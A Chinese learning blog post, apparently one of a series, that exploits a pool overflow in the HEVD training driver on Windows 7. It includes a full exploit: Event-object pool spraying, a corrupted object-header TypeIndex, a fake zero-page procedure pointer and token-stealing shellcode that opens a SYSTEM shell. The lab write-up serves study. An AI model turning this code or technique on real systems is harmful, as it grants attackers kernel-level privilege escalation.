Windows内核漏洞学习-内核利用程序之池溢出

0x00:前言

昨天阅读了内核池的一些原理,与Linux堆还是有很多相似的。今天继续调试HEVD中池溢出攻击。参考的原文:

0x01:漏洞原理

漏洞源码:

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating Pool chunk\n");

        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);

        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");

        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

对比安全和不安全的版本,与栈溢出类似,都是在将用户传过来的数据拷贝进入内核缓冲区时,以用户传入的Size作为数据大小,这样就会造成溢出。因为这里的缓冲区是内核池,所以为池溢出。

0x02:漏洞分析

首先使用正常大小的块填充,再free池的代码调用前下断点观察。

在这里插入图片描述

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

int main()
{
    DWORD bReturn = 0;
    char buf[0x1F8];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0X1F8, 0x41);
    DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);

    return 0;
}

在这里插入图片描述

这里可以看到,只要我们再多输入一点内容,就会覆盖下一个块的POOL_HEAD,如果胡乱输入,则一定会破坏下一个块。但如果合理利用,则可完成任意代码的执行。首先先不说漏洞利用的机制,先根据上一节的内容,继续使用内存池喷射技术,将我们想要利用的块放到我们期望的位置。

池喷射

回顾UAF中内核池喷射中,使用了 IoCompletionReserve对象喷射了非分页内存池,但是它的对象大小为0x60,这里我们需要申请的块大小为0x200,所以不符合。但是幸运的是,事件对象的尺寸是0x40,乘上8就是0x200。因此我们可以大量创建事件对象,然后在其中连续释放相邻的8个事件对象即可空出一块0x200大小的空间。这里首先创建10000个时间对象用来填充非分页内存池的碎片,然后创建5000个对象用于完成我们可预测的分配。在这5000个对象中,每隔16个对象便释放8个对象创建0x200大小的可利用空间。利用代码如下:

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
//非分页内存的池喷射
HANDLE    EventObjectArrayA[10000];
HANDLE    EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
    UINT32 i = 0;

    for (i = 0; i < 10000; i++) {
        EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayA[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayB[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

//在喷射池中释放可预测的空间
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
               printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);

    return 0;
}

再次执行,在断点处断下,可以看到我们申请的块被8个Event对象包裹着。这说明我们成功的将块在可预测的空间申请到了。

****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8721BD88
[+] UserBuffer: 0x0028FCB8
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8721BD88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8721BD88
Breakpoint 0 hit
8e2e2239 ff1510002e8e    call    dword ptr ds:[8E2E0010h]
kd> !pool 0x8721BD88
Pool page 8721bd88 region is Nonpaged pool
 8721b000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 8721b040 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b080 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b0c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b100 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b140 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b180 size:  200 previous size:   40  (Free)       Even
 8721b380 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8721b3c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b400 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b440 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b480 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b4c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b500 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b540 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b580 size:   c0 previous size:   40  (Free)       Even
 8721b640 size:  140 previous size:   c0  (Allocated)  Io   Process: 8743e030
 8721b780 size:   40 previous size:  140  (Allocated)  Even (Protected)
 8721b7c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b880 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b8c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b900 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b940 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721b980 size:   c0 previous size:   40  (Free)       Even
 8721ba40 size:  140 previous size:   c0  (Free )  Io   Process: 8743e030
 8721bb80 size:   40 previous size:  140  (Allocated)  Even (Protected)
 8721bbc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bcc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8721bd40 size:   40 previous size:   40  (Allocated)  Even (Protected)
*8721bd80 size:  200 previous size:   40  (Allocated) *Hack
		Owning component : Unknown (update pooltag.txt)
 8721bf80 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8721bfc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

接下来查看三个数据结构,这三个数据结构紧邻着我们输入的数据末尾,是属于下一个块的数据结构。

kd> dt nt!_POOL_HEADER 8721bf80
   +0x000 PreviousSize     : 0y001000000 (0x40)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001000 (0x8)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4080040
   +0x004 PoolTag          : 0xee657645
   +0x004 AllocatorBackTraceIndex : 0x7645
   +0x006 PoolTagHash      : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8721bf80+8
   +0x000 PagedPoolCharge  : 0
   +0x004 NonPagedPoolCharge : 0x40
   +0x008 SecurityDescriptorCharge : 0
   +0x00c SecurityDescriptorQuotaBlock : (null) 
kd> dt nt!_OBJECT_HEADER 8721bf80+8+10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xc ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x87bb7d80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD
kd> dd 8721bf80
8721bf80  04080040 ee657645 00000000 00000040
8721bf90  00000000 00000000 00000001 00000001
8721bfa0  00000000 0008000c 87bb7d80 00000000
8721bfb0  00040001 00000000 8721bfb8 8721bfb8

这三个数据结构都可以在块里找到对应的数据。无论我们怎样溢出,这0x40个数据对应的这个三个数据结构,都不应该被破坏,但是可以修改其相应的值。接下来我们看如何利用该漏洞。

重要的数据结构

注意到 OBJECT_HEADER 数据结构里的 TypeIndex值。该值是一个指针数组的偏移量,它描述了该块的对象类型

在这里插入图片描述

进行验证查看

在这里插入图片描述

kd> dt nt!_OBJECT_TYPE Name 857dabc0
   +0x008 Name : _UNICODE_STRING "Event"

该地址即对象指针的地址,我们进一步查看。同时,我们注意到上一步中, ObTypeIndexType 表中的第一项为空指针,第0XC+1项为我们当前查看的指针对象。

kd> dt nt!_OBJECT_TYPE  857dabc0
   +0x000 TypeList         : _LIST_ENTRY [ 0x857dabc0 - 0x857dabc0 ]
   +0x008 Name             : _UNICODE_STRING "Event"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xc ''
   +0x018 TotalNumberOfObjects : 0x3de6
   +0x01c TotalNumberOfHandles : 0x3e3c
   +0x020 HighWaterNumberOfObjects : 0x47ae
   +0x024 HighWaterNumberOfHandles : 0x4804
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : 0x6e657645
   +0x080 CallbackList     : _LIST_ENTRY [ 0x857dac40 - 0x857dac40 ]

注意到TypeInfo这一项

kd> dx -id 0,0,ffffffff87db9030 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))                 [Type: _OBJECT_TYPE_INITIALIZER]
    [+0x000] Length           : 0x50 [Type: unsigned short]
    [+0x002] ObjectTypeFlags  : 0x0 [Type: unsigned char]
    [+0x002 ( 0: 0)] CaseInsensitive  : 0x0 [Type: unsigned char]
    [+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
    [+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
    [+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
    [+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
    [+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
    [+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
    [+0x004] ObjectTypeCode   : 0x2 [Type: unsigned long]
    [+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
    [+0x00c] GenericMapping   [Type: _GENERIC_MAPPING]
    [+0x01c] ValidAccessMask  : 0x1f0003 [Type: unsigned long]
    [+0x020] RetainAccess     : 0x0 [Type: unsigned long]
    [+0x024] PoolType         : NonPagedPool (0) [Type: _POOL_TYPE]
    [+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
    [+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
    [+0x030] DumpProcedure    : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
    [+0x034] OpenProcedure    : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
    [+0x038] CloseProcedure   : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
    [+0x03c] DeleteProcedure  : 0x0 [Type: void (*)(void *)]
    [+0x040] ParseProcedure   : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
    [+0x044] SecurityProcedure : 0x8406f5b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
    [+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
    [+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
kd> dt nt!_OBJECT_TYPE  857dabc0

重要的部分就是"OkayToCloseProcedure"的偏移,位于TypeInfo的0x4C处。如果,当对象句柄被释放且块也被释放,该值不为空,内核会跳转到该地址来执行。也可以使用该结构的其他成员,比如"DeleteProcedure"。问题在于我们要如何利用它?记住池块本身包含了TypeIndex值(0xC),如果我们溢出该块并将该值修改为0x0的话,对象就会尝试在进程的零页上查找OBJECT_TYPE结构体。我们使用的环境是Win7,可以分配一个零页并创建一个伪造的"OkayToCloseProcedure"指针指向我们的shellcode。在释放了被污染的块时,内核就应该会执行到我们的代码了!

0x03:漏洞利用

首先弄清楚,我们覆盖的是0x200块后的0x40大小的Event对象。所以我们可以按照它的数据结构头进行精准复制,仅仅只改它的TypeIndex值大小。对比之前的数据,仅仅将0xC改为0X0。
在这里插入图片描述

以下为代码

int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8+40];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
   *(PULONG)Memory =(ULONG)0x04080040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0xee657645;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00080000;
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);

    return 0;
}

验证一下,发现TypeIndex被覆盖为0,其余值不变。说明我们这里覆盖正确。

kd> dt nt!_OBJECT_HEADER 871b7f40+8+10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0 ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x87bb7d80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

接下来,我们就申请0页内存,在0页处,精心构造一个伪造的"OkayToCloseProcedure"指针。

//申请0页内存
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }
    printf("[+]Success to alloc zero page...\n");
    *(DWORD*)(0x60) = (DWORD)&ShellCode;

执行后即可完成提权!

在这里插入图片描述

完整代码附上

#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
HANDLE hDevice = NULL;

__declspec(naked) VOID ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]		// 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4				// edx = system PID(4)

        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]	// 找到进程活动链表
        sub eax, 0xb8    		// 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret 
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
//非分页内存的池喷射
HANDLE    EventObjectArrayA[10000];
HANDLE    EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
    UINT32 i = 0;

    for (i = 0; i < 10000; i++) {
        EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayA[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 0; i < 5000; i++) {
        EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

        if (!EventObjectArrayB[i]) {
            printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }
}

//在喷射池中释放可预测的空间
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
               printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
//释放对象
VOID FreeEventObjects() {
    UINT32 i = 0;
    UINT32 j = 0;

    for (i = 0; i < 10000; i++) {
        if (!CloseHandle(EventObjectArrayA[i])) {
            printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    }

    for (i = 8; i < 5000; i += 16) {
        for (j = 0; j < 8; j++) {
            if (!CloseHandle(EventObjectArrayB[i + j])) {
                printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
                exit(EXIT_FAILURE);
            }
        }
    }
}
int main()
{
    DWORD bReturn = 0;
    char buf[0x1f8+40];
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    RtlFillMemory(buf, 0x1f8, 0x41);
    PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
   *(PULONG)Memory =(ULONG)0x04080040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0xee657645;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000040;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000001;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00000000;
   Memory = (PVOID)((ULONG)Memory + 0x4);
   *(PULONG)Memory = (ULONG)0x00080000;
    SprayNonPagedPoolWithEventObjects();
    CreateHolesInNonPagedPoolByCoalescingEventObjects();
    //申请0页内存
    PVOID    Zero_addr = (PVOID)1;
    SIZE_T    RegionSize = 0x1000;

    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    printf("[+]Started to alloc zero page...\n");
    if (!NT_SUCCESS(NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }
    printf("[+]Success to alloc zero page...\n");
    *(DWORD*)(0x60) = (DWORD)&ShellCode;
    DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
    FreeEventObjects();
    CreateCmd();
    return 0;
}

明日计划

继续学习内核漏洞相关知识。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章